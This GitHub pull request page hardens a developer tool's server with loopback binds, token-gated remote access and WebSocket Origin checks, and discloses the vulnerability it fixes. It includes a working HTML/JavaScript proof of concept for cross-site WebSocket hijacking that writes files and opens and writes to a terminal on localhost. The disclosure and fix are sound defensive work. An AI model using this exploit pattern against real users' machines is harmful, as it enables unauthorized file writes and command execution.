Harden server bind defaults and WebSocket origin checks #388
main fromrefs/pull/388/head·opened View on GitHubSummary#
- bind
webmode to127.0.0.1by default - refuse non-loopback binds unless
--auth-tokenis configured - reject browser WebSocket upgrades from foreign origins
- add regression coverage for the new startup and handshake rules
- document the safer remote-access behavior
Vulnerability#
Before this change, the normal npx t3 flow started the WebSocket control plane without auth by default, and browser WebSocket upgrades were accepted without validating Origin.
That exposed privileged RPC methods such as:
projects.writeFileterminal.openterminal.write- git and orchestration commands
Impact:
- unauthorized file writes in the active workspace
- unauthorized terminal access as the local user
- browser-based cross-site WebSocket hijacking against localhost
PoC#
Start the app with the normal flow:
npx t3Open this HTML from any foreign origin. Use
ws://127.0.0.1:3773/for localhost abuse, orws://<victim-ip>:3773/when the server is intentionally exposed over the network.
<!doctype html>
<meta charset="utf-8" />
<script>
const target = "ws://127.0.0.1:3773/";
const ws = new WebSocket(target);
const send = (id, body) => ws.send(JSON.stringify({ id: String(id), body }));
let ran = false;
ws.onmessage = (event) => {
const msg = JSON.parse(event.data);
console.log("recv", msg);
if (!ran && msg.type === "push" && msg.channel === "server.welcome") {
ran = true;
const cwd = msg.data.cwd;
send(1, {
_tag: "projects.writeFile",
cwd,
relativePath: ".t3code-poc.txt",
contents: "unauthorized write via websocket\n"
});
send(2, {
_tag: "terminal.open",
threadId: "poc-thread",
cwd,
cols: 120,
rows: 30
});
setTimeout(() => {
send(3, {
_tag: "terminal.write",
threadId: "poc-thread",
terminalId: "default",
data: "echo T3CODE_POC\n"
});
}, 300);
}
};
</script>
- Expected result on the vulnerable build:
.t3code-poc.txtis created in the victim workspace- terminal output is received over the same socket
Fix details#
webmode now binds to loopback by default- explicit non-loopback binds require
--auth-token - browser clients must present a trusted
Origin - Vite dev origin remains allowed for local development
- non-browser clients without
Originare still allowed, which preserves existing tooling while the network boundary is now enforced by loopback defaults and token-gated remote binds
Validation#
bun lint✅bun typecheck✅- attempted targeted
apps/serverVitest coverage, but Vitest worker forks exited unexpectedly in this environment after the suites started; the failure did not surface an assertion-level regression
Note
Default the web server bind to loopback and block non-loopback binds without --auth-token, and enforce WebSocket Origin checks in wsServer.ts#
Set loopback as the default host in server config, add a startup guard rejecting non-loopback binds without an auth token, and validate browser WebSocket upgrades against trusted Origins; move host utilities to config.ts and update tests.
📍Where to Start#
Start with ServerConfigLive and the startup guard in main.ts, then review isTrustedBrowserOrigin in wsServer.ts.
- 1
github-actions[bot](GitHub profile, opens in a new tab) added labelsvouch:unvouched
juliusmarminge closed this
Sign in to join this conversation.
Important
Review skipped#
Auto reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the
.coderabbit.yamlfile in this repository. To trigger a single review, invoke the@coderabbitai reviewcommand.⚙️ Run configuration
Configuration used: Repository UI
Review profile: CHILL
Plan: Pro
Run ID:
19caef51-7e90-4d59-87cc-48eecd31de13You can disable this status message by setting the
reviews.review_statustofalsein the CodeRabbit configuration file.Use the checkbox below for a quick retry:
✨ Finishing Touches
🧪 Generate unit tests (beta)
Tip
Try Coding Plans. Let us write the prompt for your AI agent so you can ship faster (with fewer bugs). Share your feedback on Discord.
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.
❤️ Share